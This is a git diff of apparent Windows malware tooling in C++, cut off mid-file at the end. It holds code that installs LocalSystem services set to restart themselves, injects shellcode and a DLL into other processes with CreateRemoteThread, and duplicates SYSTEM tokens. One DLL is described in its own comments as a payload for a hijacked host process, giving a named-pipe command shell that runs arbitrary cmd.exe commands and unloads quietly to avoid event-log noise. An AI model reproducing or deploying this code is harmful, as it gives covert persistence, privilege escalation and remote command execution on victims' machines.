OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!scm) + { + Log(L"[-] EnsureLocalSystemService: OpenSCManager failed: %lu", GetLastError()); + return false; + } + SC_HANDLE svc = CreateServiceW( + scm, + serviceName, + display, + SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + binaryPath, + nullptr, + nullptr, + nullptr, + L"LocalSystem", + nullptr); + + DWORD createError = GetLastError(); + + if (!svc && createError == ERROR_SERVICE_EXISTS) + { + svc = OpenServiceW( + scm, + serviceName, + SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS); + } + + if (!svc) + { + Log(L"[-] EnsureLocalSystemService: create/open failed: %lu", createError); + CloseServiceHandle(scm); + return false; + } + + if (!ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + binaryPath, + nullptr, + nullptr, + nullptr, + L"LocalSystem", + nullptr, + nullptr)) + { + Log(L"[!] EnsureLocalSystemService: ChangeServiceConfigW failed: %lu", GetLastError()); + } + + if (restartOnFailure) + { + SC_ACTION actions[3]{}; + actions[0].Type = SC_ACTION_RESTART; + actions[0].Delay = 5000; + actions[1].Type = SC_ACTION_RESTART; + actions[1].Delay = 10000; + actions[2].Type = SC_ACTION_RESTART; + actions[2].Delay = 30000; + + SERVICE_FAILURE_ACTIONSW failure{}; + failure.dwResetPeriod = 86400; + failure.cActions = 3; + failure.lpsaActions = actions; + + ChangeServiceConfig2W(svc, SERVICE_CONFIG_FAILURE_ACTIONS, &failure); + + SERVICE_FAILURE_ACTIONS_FLAG flag{}; + flag.fFailureActionsOnNonCrashFailures = TRUE; + ChangeServiceConfig2W(svc, SERVICE_CONFIG_FAILURE_ACTIONS_FLAG, &flag); + } + + if (startNow) + { + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + { + Log(L"[-] EnsureLocalSystemService: StartService failed: %lu", e); + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return false; + } + } + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; +} + +bool SetServiceDescription( + const wchar_t* serviceName, + const wchar_t* description) +{ + if (!serviceName || !description) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW(scm, serviceName, SERVICE_CHANGE_CONFIG); + + bool ok = false; + + if (svc) + { + SERVICE_DESCRIPTIONW desc{}; + desc.lpDescription = const_cast(description); + + ok = ChangeServiceConfig2W(svc, SERVICE_CONFIG_DESCRIPTION, &desc) != FALSE; + CloseServiceHandle(svc); + } + + CloseServiceHandle(scm); + return ok; +} + diff --git a/ServiceManager.h b/ServiceManager.h new file mode 100644 index 0000000..bbb04d7 --- /dev/null +++ b/ServiceManager.h @@ -0,0 +1,21 @@ +#pragma once + +#include + +bool EnsureWin32Service( + const wchar_t* serviceName, + const wchar_t* binaryPath, + bool startNow); + +bool EnsureLocalSystemService( + const wchar_t* serviceName, + const wchar_t* binaryPath, + bool startNow, + bool restartOnFailure, + const wchar_t* displayName); + +bool IsServiceRunning(const wchar_t* serviceName); + +bool SetServiceDescription( + const wchar_t* serviceName, + const wchar_t* description); diff --git a/ShellcodeUtils.cpp b/ShellcodeUtils.cpp new file mode 100644 index 0000000..0077922 --- /dev/null +++ b/ShellcodeUtils.cpp @@ -0,0 +1,253 @@ +#include "Common.h" +#include "ShellcodeUtils.h" +#include "Logger.h" + +bool ReadFileToMemory(const wchar_t* path, std::vector& out) +{ + out.clear(); + + HANDLE h = CreateFileW( + path, + GENERIC_READ, + FILE_SHARE_READ, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + { + Log(L"[-] ReadFileToMemory failed: %s err=%lu", path, GetLastError()); + return false; + } + + LARGE_INTEGER fileSize{}; + if (!GetFileSizeEx(h, &fileSize) || fileSize.QuadPart <= 0 || fileSize.QuadPart > 0x7FFFFFFF) + { + Log(L"[-] ReadFileToMemory invalid file size: %s", path); + CloseHandle(h); + return false; + } + + out.resize((size_t)fileSize.QuadPart); + + DWORD read = 0; + bool ok = ReadFile(h, out.data(), (DWORD)fileSize.QuadPart, &read, nullptr) + && read == (DWORD)fileSize.QuadPart; + + CloseHandle(h); + + if (!ok) + Log(L"[-] ReadFileToMemory partial/failed: %s", path); + + return ok; +} + +static LPVOID AllocateExecMemory(HANDLE hProc, SIZE_T size) +{ + if (!hProc || size == 0) + return nullptr; + + LPVOID p = VirtualAllocEx( + hProc, + (LPVOID)0x10000, + size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE); + + if (!p) + { + p = VirtualAllocEx( + hProc, + nullptr, + size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE); + } + + if (!p) + { + Log(L"[-] VirtualAllocEx failed: %lu", GetLastError()); + return nullptr; + } + + DWORD oldProtect = 0; + if (!VirtualProtectEx(hProc, p, size, PAGE_EXECUTE_READWRITE, &oldProtect)) + { + Log(L"[-] VirtualProtectEx failed: %lu", GetLastError()); + VirtualFreeEx(hProc, p, 0, MEM_RELEASE); + return nullptr; + } + + return p; +} + +bool InjectShellcodeIntoExisting( + DWORD pid, + const BYTE* code, + size_t size) +{ + if (!pid || !code || size == 0) + return false; + + const DWORD access = + PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | + PROCESS_VM_READ | + PROCESS_VM_WRITE | + PROCESS_CREATE_THREAD; + + HANDLE hProc = OpenProcess(access, FALSE, pid); + if (!hProc) + { + Log(L"[-] Inject: OpenProcess(%lu) failed: %lu", pid, GetLastError()); + return false; + } + + LPVOID remote = AllocateExecMemory(hProc, size); + if (!remote) + { + CloseHandle(hProc); + return false; + } + + SIZE_T written = 0; + if (!WriteProcessMemory(hProc, remote, code, size, &written) || written != size) + { + Log(L"[-] Inject: WriteProcessMemory failed: %lu", GetLastError()); + VirtualFreeEx(hProc, remote, 0, MEM_RELEASE); + CloseHandle(hProc); + return false; + } + + LPTHREAD_START_ROUTINE entry = + reinterpret_cast(reinterpret_cast(remote)); + + HANDLE hThread = CreateRemoteThread( + hProc, + nullptr, + 0, + entry, + nullptr, + 0, + nullptr); + + if (!hThread) + { + Log(L"[-] Inject: CreateRemoteThread failed: %lu", GetLastError()); + VirtualFreeEx(hProc, remote, 0, MEM_RELEASE); + CloseHandle(hProc); + return false; + } + + Log(L"[+] Injected into PID %lu at %p", pid, (void*)remote); + + CloseHandle(hThread); + CloseHandle(hProc); + + return true; +} + +bool InjectShellcodeAndResume( + NewProcInfo& info, + const BYTE* code, + size_t size) +{ + if (!info.hProcess || !info.hThread || !code || size == 0) + return false; + + LPVOID remote = AllocateExecMemory(info.hProcess, size); + + if (!remote) + { + if (info.hThread) + { + ResumeThread(info.hThread); + CloseHandle(info.hThread); + info.hThread = nullptr; + } + + if (info.hProcess) + { + CloseHandle(info.hProcess); + info.hProcess = nullptr; + } + + return false; + } + + SIZE_T written = 0; + + if (!WriteProcessMemory(info.hProcess, remote, code, size, &written) || written != size) + { + Log(L"[-] Inject suspended: WriteProcessMemory failed: %lu", GetLastError()); + + VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE); + + if (info.hThread) + { + ResumeThread(info.hThread); + CloseHandle(info.hThread); + info.hThread = nullptr; + } + + if (info.hProcess) + { + CloseHandle(info.hProcess); + info.hProcess = nullptr; + } + + return false; + } + + LPTHREAD_START_ROUTINE entry = + reinterpret_cast(reinterpret_cast(remote)); + + HANDLE hThread = CreateRemoteThread( + info.hProcess, + nullptr, + 0, + entry, + nullptr, + 0, + nullptr); + + if (!hThread) + { + Log(L"[-] Inject suspended: CreateRemoteThread failed: %lu", GetLastError()); + + VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE); + + if (info.hThread) + { + ResumeThread(info.hThread); + CloseHandle(info.hThread); + info.hThread = nullptr; + } + + if (info.hProcess) + { + CloseHandle(info.hProcess); + info.hProcess = nullptr; + } + + return false; + } + + ResumeThread(info.hThread); + + Log(L"[+] Injected into suspended PID %lu and resumed: %p", info.processId, (void*)remote); + + CloseHandle(hThread); + + if (info.hThread) + CloseHandle(info.hThread); + + if (info.hProcess) + CloseHandle(info.hProcess); + + info.hThread = nullptr; + info.hProcess = nullptr; + + return true; +} diff --git a/ShellcodeUtils.h b/ShellcodeUtils.h new file mode 100644 index 0000000..42e43db --- /dev/null +++ b/ShellcodeUtils.h @@ -0,0 +1,17 @@ +#pragma once + +#include +#include +#include "ProcessUtils.h" + +bool ReadFileToMemory(const wchar_t* path, std::vector& out); + +bool InjectShellcodeIntoExisting( + DWORD pid, + const BYTE* code, + size_t size); + +bool InjectShellcodeAndResume( + NewProcInfo& info, + const BYTE* code, + size_t size); diff --git a/StageClient.cpp b/StageClient.cpp new file mode 100644 index 0000000..5591e98 --- /dev/null +++ b/StageClient.cpp @@ -0,0 +1,418 @@ +#include "Common.h" +#include "StageClient.h" +#include "HostSpawn.h" +#include "Paths.h" +#include "Logger.h" +#include "resource.h" + +#include +#include + +static std::string ToUtf8(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); + + if (need <= 0) + return std::string(); + + std::string out(need, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr); + return out; +} + +static std::wstring FromUtf8(const std::string& s) +{ + if (s.empty()) + return std::wstring(); + + int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); + + if (need <= 0) + return std::wstring(); + + std::wstring out(need, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need); + return out; +} + +static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage"; +static const wchar_t* kDllName = L"ardrvstage.dll"; + +bool StageSend(const std::wstring& request, std::wstring& response) +{ + response.clear(); + + HANDLE pipe = CreateFileW( + kPipeName, + GENERIC_READ | GENERIC_WRITE, + 0, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (pipe == INVALID_HANDLE_VALUE) + return false; + + std::string bytes = ToUtf8(request) + "\n"; + + DWORD written = 0; + + if (!WriteFile(pipe, bytes.data(), (DWORD)bytes.size(), &written, nullptr)) + { + CloseHandle(pipe); + return false; + } + + std::string reply; + char buf[4096]{}; + DWORD read = 0; + + while (ReadFile(pipe, buf, sizeof(buf), &read, nullptr) && read > 0) + { + reply.append(buf, read); + + if (reply.find("<<") != std::string::npos) + break; + } + + CloseHandle(pipe); + + size_t end = reply.find("<<"); + + if (end != std::string::npos) + reply = reply.substr(0, end); + + response = FromUtf8(reply); + + while (!response.empty() && (response.back() == L'\n' || response.back() == L'\r')) + response.pop_back(); + + return !response.empty(); +} + +bool StageAlive() +{ + std::wstring response; + + if (!StageSend(L"PING", response)) + return false; + + return response.find(L"PONG") != std::wstring::npos; +} + +// Writes the payload that is packed into this executable to the stage dir. + +// Writes the payload that is packed into this executable to the stage dir when +// the on-disk copy differs (missing, old build, or truncated). Comparing the +// bytes keeps upgrades working: a new loader always replaces an older DLL. +static bool EmbeddStageCurrent(const std::wstring& target) +{ + HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_STAGE_DLL), RT_RCDATA); + + if (!res) + return false; + + DWORD size = SizeofResource(nullptr, res); + + if (size == 0) + return false; + + HGLOBAL loaded = LoadResource(nullptr, res); + + if (!loaded) + return false; + + const BYTE* data = static_cast(LockResource(loaded)); + + if (!data) + return false; + + // Compare against what is already on disk. + HANDLE existing = CreateFileW( + target.c_str(), + GENERIC_READ, + FILE_SHARE_READ, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (existing != INVALID_HANDLE_VALUE) + { + LARGE_INTEGER fileSize{}; + bool same = false; + + if (GetFileSizeEx(existing, &fileSize) && fileSize.QuadPart == (LONGLONG)size) + { + std::vector onDisk(size); + DWORD read = 0; + + same = ReadFile(existing, onDisk.data(), size, &read, nullptr) && + read == size && + memcmp(onDisk.data(), data, size) == 0; + } + + CloseHandle(existing); + + if (same) + return true; + } + + HANDLE h = CreateFileW( + target.c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + return false; + + DWORD written = 0; + BOOL ok = WriteFile(h, data, size, &written, nullptr); + CloseHandle(h); + + if (!ok || written != size) + { + DeleteFileW(target.c_str()); + return false; + } + + Log(L"[stage] payload refreshed from resources (%lu bytes) -> %s", size, target.c_str()); + return true; +} + +std::wstring StageDllPath(const std::wstring& explicitPath) +{ + if (!explicitPath.empty()) + { + wchar_t abs[4096]{}; + + if (GetFullPathNameW(explicitPath.c_str(), _countof(abs), abs, nullptr)) + return abs; + + return explicitPath; + } + + std::wstring staged = ArdrvStageDir() + L"\\" + kDllName; + + // The packed payload is authoritative: if it differs from the file on disk, + // the file is replaced. An old stage DLL otherwise survives every upgrade. + if (EmbeddStageCurrent(staged)) + return staged; + + if (GetFileAttributesW(staged.c_str()) != INVALID_FILE_ATTRIBUTES) + return staged; + + wchar_t module[MAX_PATH]{}; + + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len > 0 && len < _countof(module)) + { + std::wstring dir = module; + size_t slash = dir.find_last_of(L"\\/"); + + if (slash != std::wstring::npos) + { + dir = dir.substr(0, slash); + std::wstring candidate = dir + L"\\" + kDllName; + + if (GetFileAttributesW(candidate.c_str()) != INVALID_FILE_ATTRIBUTES) + return candidate; + } + } + + return std::wstring(); +} + +// CreateRemoteThread(LoadLibraryW) inside the chosen host. +static bool InjectDllIntoProcess(DWORD pid, const std::wstring& dllPath) +{ + HANDLE proc = OpenProcess( + PROCESS_CREATE_THREAD | + PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | + PROCESS_VM_WRITE | + PROCESS_VM_READ, + FALSE, + pid); + + if (!proc) + { + Log(L"[-] stage: OpenProcess(%lu) failed: %lu", pid, GetLastError()); + return false; + } + + const SIZE_T bytes = (dllPath.size() + 1) * sizeof(wchar_t); + + LPVOID remote = VirtualAllocEx(proc, nullptr, bytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (!remote) + { + CloseHandle(proc); + return false; + } + + if (!WriteProcessMemory(proc, remote, dllPath.c_str(), bytes, nullptr)) + { + VirtualFreeEx(proc, remote, 0, MEM_RELEASE); + CloseHandle(proc); + return false; + } + + HMODULE kernel = GetModuleHandleW(L"kernel32.dll"); + auto loadLibrary = reinterpret_cast( + GetProcAddress(kernel, "LoadLibraryW")); + + if (!loadLibrary) + { + VirtualFreeEx(proc, remote, 0, MEM_RELEASE); + CloseHandle(proc); + return false; + } + + HANDLE thread = CreateRemoteThread(proc, nullptr, 0, loadLibrary, remote, 0, nullptr); + + bool ok = false; + + if (thread) + { + WaitForSingleObject(thread, 10000); + + DWORD exitCode = 0; + + if (GetExitCodeThread(thread, &exitCode)) + ok = exitCode != 0; + + CloseHandle(thread); + } + + VirtualFreeEx(proc, remote, 0, MEM_RELEASE); + CloseHandle(proc); + + return ok; +} + +HostInjectResult StageInject( + const std::wstring& dllPath, + const std::wstring& preferredImage, + bool requireSystem) +{ + HostInjectResult result; + + std::wstring dll = StageDllPath(dllPath); + + if (dll.empty()) + { + result.error = L"ardrvstage.dll not found next to the loader or in the stage dir"; + return result; + } + + std::vector hosts = EnumerateHosts(requireSystem); + + HostInfo* chosen = nullptr; + + for (auto& h : hosts) + { + if (!h.injectable) + continue; + + if (requireSystem && !h.systemToken) + continue; + + if (!preferredImage.empty() && + _wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0) + { + continue; + } + + chosen = &h; + break; + } + + if (!chosen) + { + result.error = hosts.empty() + ? L"no host process found (need admin or SYSTEM)" + : L"no injectable host available"; + return result; + } + + if (!InjectDllIntoProcess(chosen->pid, dll)) + { + result.error = L"LoadLibrary injection failed into " + chosen->imageName; + return result; + } + + result.ok = true; + result.hostPid = chosen->pid; + result.hostSession = chosen->sessionId; + result.hostImage = chosen->imagePath; + result.method = StageAlive() ? L"stage-live" : L"stage-injected-no-reply"; + + GetProcessCreateTime(chosen->pid, result.creationTime); + + HostTrack track; + track.pid = result.hostPid; + track.creationTime = result.creationTime; + track.payload = dll; + track.hostImage = result.hostImage; + + SaveHostTrack(track); + + Log(L"[stage] injected %s into %lu (%s)", + dll.c_str(), + result.hostPid, + result.method.c_str()); + + return result; +} + +HostInjectResult StageEnsure(bool requireSystem) +{ + HostInjectResult result; + + if (StageAlive()) + { + result.ok = true; + result.method = L"stage-already-live"; + + HostTrack track = LoadHostTrack(); + + if (track.Tracked()) + { + result.hostPid = track.pid; + result.hostImage = track.hostImage; + result.creationTime = track.creationTime; + } + + return result; + } + + return StageInject(L"", L"", requireSystem); +} + +std::wstring FormatStageStatus() +{ + std::wostringstream os; + + std::wstring dll = StageDllPath(); + + os << L"alive=" << (StageAlive() ? 1 : 0) + << L" dll=" << (dll.empty() ? L"(missing)" : dll); + + HostTrack track = LoadHostTrack(); + + if (track.Tracked()) + os << L" host_pid=" << track.pid << L" host=" << track.hostImage; + + return os.str(); +} + diff --git a/StageClient.h b/StageClient.h new file mode 100644 index 0000000..be7ae1e --- /dev/null +++ b/StageClient.h @@ -0,0 +1,26 @@ +#pragma once + +#include + +#include + +#include "HostStager.h" + +// Talks to the stage payload running inside a host process. +// Returns false when no stage is listening. +bool StageSend(const std::wstring& request, std::wstring& response); +bool StageAlive(); + +// Locates ardrvstage.dll: explicit path, next to the loader, or in the stage dir. +std::wstring StageDllPath(const std::wstring& explicitPath = L""); + +// Injects the stage DLL into the best host and verifies the pipe answers. +HostInjectResult StageInject( + const std::wstring& dllPath, + const std::wstring& preferredImage, + bool requireSystem); + +// Injects only when the pipe is not already answering. +HostInjectResult StageEnsure(bool requireSystem = true); + +std::wstring FormatStageStatus(); diff --git a/StageDll.cpp b/StageDll.cpp new file mode 100644 index 0000000..d501ff5 --- /dev/null +++ b/StageDll.cpp @@ -0,0 +1,299 @@ +// Stage payload: runs inside a hijacked host process. +// +// Contract with the loader: +// - named pipe \\.\pipe\ArDrvStage +// - one request per connection, UTF-8, newline terminated +// - response: UTF-8, ends with "<<" sentinel line, then the pipe closes +// - commands: PING | WHOAMI | RUN | STOP +// +// The DLL is intentionally small: it is a command runner, not a second agent. +// All policy (which host, when to re-inject) stays in the loader so the payload +// can be swapped without touching the services. + +#include + +#include +#include + +static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage"; +static const wchar_t* kMutexName = L"Global\\ArDrvStage"; +static const char* kEnd = "<<"; +static HMODULE g_module = nullptr; +static HANDLE g_mutex = nullptr; + +static std::string Narrow(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); + + if (need <= 0) + return std::string(); + + std::string out(need, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr); + return out; +} + +static std::wstring Widen(const std::string& s) +{ + if (s.empty()) + return std::wstring(); + + int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); + + if (need <= 0) + return std::wstring(); + + std::wstring out(need, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need); + return out; +} + +static std::wstring CmdExe() +{ + wchar_t sys[MAX_PATH]{}; + + if (GetSystemDirectoryW(sys, _countof(sys)) == 0) + return L"C:\\Windows\\System32\\cmd.exe"; + + return std::wstring(sys) + L"\\cmd.exe"; +} + +// Runs a command line through cmd.exe and captures stdout+stderr. +static bool RunCapture(const std::wstring& commandLine, std::wstring& output) +{ + output.clear(); + + SECURITY_ATTRIBUTES sa{}; + sa.nLength = sizeof(sa); + sa.bInheritHandle = TRUE; + + HANDLE readEnd = nullptr; + HANDLE writeEnd = nullptr; + + if (!CreatePipe(&readEnd, &writeEnd, &sa, 0)) + return false; + + SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdOutput = writeEnd; + si.hStdError = writeEnd; + si.hStdInput = nullptr; + + PROCESS_INFORMATION pi{}; + + std::wstring full = L"\"" + CmdExe() + L"\" /C " + commandLine; + std::vector mutableCmd(full.begin(), full.end()); + mutableCmd.push_back(L'\0'); + + BOOL ok = CreateProcessW( + nullptr, + mutableCmd.data(), + nullptr, + nullptr, + TRUE, + CREATE_NO_WINDOW, + nullptr, + nullptr, + &si, + &pi); + + CloseHandle(writeEnd); + + if (!ok) + { + CloseHandle(readEnd); + return false; + } + + std::string bytes; + char buf[4096]{}; + DWORD read = 0; + + while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0) + bytes.append(buf, read); + + WaitForSingleObject(pi.hProcess, 30000); + + CloseHandle(readEnd); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + output = Widen(bytes); + return true; +} + +static void ServeConnection(HANDLE pipe) +{ + std::string request; + char ch = 0; + DWORD read = 0; + + while (ReadFile(pipe, &ch, 1, &read, nullptr) && read == 1) + { + if (ch == '\n') + break; + + if (request.size() > 32 * 1024) + break; + + request.push_back(ch); + } + + std::wstring line = Widen(request); + + while (!line.empty() && (line.back() == L'\r')) + line.pop_back(); + + std::string response; + + auto reply = [&](const std::string& status, const std::wstring& body) + { + response = status + "\n" + Narrow(body) + kEnd + "\n"; + }; + + std::wstring command; + size_t sp = line.find(L' '); + + if (sp == std::wstring::npos) + { + command = line; + } + else + { + command = line.substr(0, sp); + } + + std::wstring rest = (sp == std::wstring::npos) ? std::wstring() : line.substr(sp + 1); + + if (_wcsicmp(command.c_str(), L"PING") == 0) + { + reply("OK", L"PONG"); + } + else if (_wcsicmp(command.c_str(), L"WHOAMI") == 0) + { + wchar_t user[256]{}; + DWORD len = _countof(user); + + std::wstring who = L"?"; + wchar_t name[256]{}; + DWORD nameLen = _countof(name); + + if (GetUserNameW(user, &len)) + who = user; + + if (GetComputerNameW(name, &nameLen)) + who = std::wstring(name) + L"\\" + who; + + wchar_t self[MAX_PATH]{}; + GetModuleFileNameW(nullptr, self, _countof(self)); + + reply("OK", who + L" pid=" + std::to_wstring(GetCurrentProcessId()) + + L" image=" + self); + } + else if (_wcsicmp(command.c_str(), L"RUN") == 0) + { + if (rest.empty()) + { + reply("ERR", L"ERR_USAGE RUN "); + } + else + { + std::wstring output; + + if (RunCapture(rest, output)) + reply("OK", output); + else + reply("ERR", L"exec failed"); + } + } + else if (_wcsicmp(command.c_str(), L"STOP") == 0) + { + reply("OK", L"stopping"); + + DWORD written = 0; + WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr); + FlushFileBuffers(pipe); + DisconnectNamedPipe(pipe); + CloseHandle(pipe); + + // Unload cleanly instead of killing the host: a service host that dies + // takes unrelated services with it and makes noise in the event log. + if (g_mutex) + { + CloseHandle(g_mutex); + g_mutex = nullptr; + } + + FreeLibraryAndExitThread(g_module, 0); + } + else + { + reply("ERR", L"ERR_UNKNOWN " + command); + } + + DWORD written = 0; + WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr); + FlushFileBuffers(pipe); +} + +static DWORD WINAPI StageThread(void*) +{ + while (true) + { + HANDLE pipe = CreateNamedPipeW( + kPipeName, + PIPE_ACCESS_DUPLEX, + PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, + PIPE_UNLIMITED_INSTANCES, + 64 * 1024, + 64 * 1024, + 0, + nullptr); + + if (pipe == INVALID_HANDLE_VALUE) + { + Sleep(1000); + continue; + } + + if (ConnectNamedPipe(pipe, nullptr) || GetLastError() == ERROR_PIPE_CONNECTED) + ServeConnection(pipe); + + DisconnectNamedPipe(pipe); + CloseHandle(pipe); + } + + return 0; +} + +BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID) +{ + if (reason == DLL_PROCESS_ATTACH) + { + DisableThreadLibraryCalls(module); + g_module = module; + + HANDLE mutex = CreateMutexW(nullptr, TRUE, kMutexName); + + if (mutex && GetLastError() == ERROR_ALREADY_EXISTS) + { + CloseHandle(mutex); + return TRUE; + } + + g_mutex = mutex; + + HANDLE thread = CreateThread(nullptr, 0, StageThread, nullptr, 0, nullptr); + + if (thread) + CloseHandle(thread); + } + + return TRUE; +} diff --git a/StageDll.vcxproj b/StageDll.vcxproj new file mode 100644 index 0000000..5fda2a2 --- /dev/null +++ b/StageDll.vcxproj @@ -0,0 +1,79 @@ + + + + + Debug + x64 + + + Release + x64 + + + + + 17.0 + {C1A4E2B0-6F1D-4C21-9E55-2B6B4C1D9A31} + ArDrvStage + 10.0 + + + + + + DynamicLibrary + true + $(DefaultPlatformToolset) + Unicode + + + + DynamicLibrary + false + $(DefaultPlatformToolset) + true + Unicode + + + + + + + Level3 + true + _DEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + stdcpp17 + + + Windows + + + + + + + Level3 + true + NDEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + stdcpp17 + MaxSpeed + true + true + + + Windows + true + true + + + + + ardrvstage + + + + + + + + diff --git a/TokenUtils.cpp b/TokenUtils.cpp new file mode 100644 index 0000000..d92fc86 --- /dev/null +++ b/TokenUtils.cpp @@ -0,0 +1,327 @@ +#include "Common.h" +#include "TokenUtils.h" +#include "Logger.h" + +static const DWORD kTokenAccessForDuplicate = + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID; + +bool EnablePrivilege(const wchar_t* privilegeName) +{ + HANDLE hToken = nullptr; + + if (!OpenProcessToken( + GetCurrentProcess(), + TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, + &hToken)) + { + Log(L"[-] OpenProcessToken for privilege failed: %lu", GetLastError()); + return false; + } + + LUID luid{}; + if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid)) + { + Log(L"[-] LookupPrivilegeValueW failed for %s: %lu", privilegeName, GetLastError()); + CloseHandle(hToken); + return false; + } + + TOKEN_PRIVILEGES tp{}; + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr); + DWORD err = GetLastError(); + + CloseHandle(hToken); + + if (!ok || err == ERROR_NOT_ALL_ASSIGNED) + { + Log(L"[-] EnablePrivilege failed: %s, last=%lu", privilegeName, err); + return false; + } + + return true; +} + +bool TokenIsLocalSystem(HANDLE token) +{ + if (!token) + return false; + + DWORD needed = 0; + + if (!GetTokenInformation(token, TokenUser, nullptr, 0, &needed)) + { + DWORD e = GetLastError(); + if (e != ERROR_INSUFFICIENT_BUFFER || needed == 0) + return false; + } + + std::vector buf(needed); + PTOKEN_USER tu = reinterpret_cast(buf.data()); + + if (!GetTokenInformation(token, TokenUser, tu, needed, &needed)) + return false; + + PSID systemSid = nullptr; + if (!ConvertStringSidToSidW(L"S-1-5-18", &systemSid)) + return false; + + bool userIsSystem = (EqualSid(tu->User.Sid, systemSid) == TRUE); + + BOOL member = FALSE; + if (!userIsSystem) + CheckTokenMembership(token, systemSid, &member); + + FreeSid(systemSid); + + return userIsSystem || member == TRUE; +} + +bool IsCurrentProcessSystem() +{ + HANDLE hToken = nullptr; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) + return false; + + bool result = TokenIsLocalSystem(hToken); + CloseHandle(hToken); + + return result; +} + +static HANDLE DuplicateTokenExWithFallback(HANDLE src) +{ + HANDLE dup = nullptr; + + if (DuplicateTokenEx( + src, + kTokenAccessForDuplicate, + nullptr, + SecurityImpersonation, + TokenPrimary, + &dup)) + { + return dup; + } + + const DWORD minimalAccess = + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT; + + dup = nullptr; + + if (DuplicateTokenEx( + src, + minimalAccess, + nullptr, + SecurityImpersonation, + TokenPrimary, + &dup)) + { + return dup; + } + + return nullptr; +} + +HANDLE DuplicateSystemTokenFromHandle(HANDLE srcToken) +{ + if (!srcToken) + return nullptr; + + HANDLE dup = DuplicateTokenExWithFallback(srcToken); + if (!dup) + { + Log(L"[-] DuplicateTokenEx failed: %lu", GetLastError()); + return nullptr; + } + + if (!TokenIsLocalSystem(dup)) + { + Log(L"[-] Duplicated token is not LocalSystem"); + CloseHandle(dup); + return nullptr; + } + + return dup; +} + +static HANDLE OpenProcessTokenByPid(DWORD pid) +{ + if (pid == 0) + return nullptr; + + HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + + if (!hProc) + hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); + + if (!hProc) + return nullptr; + + HANDLE hToken = nullptr; + + if (!OpenProcessToken(hProc, 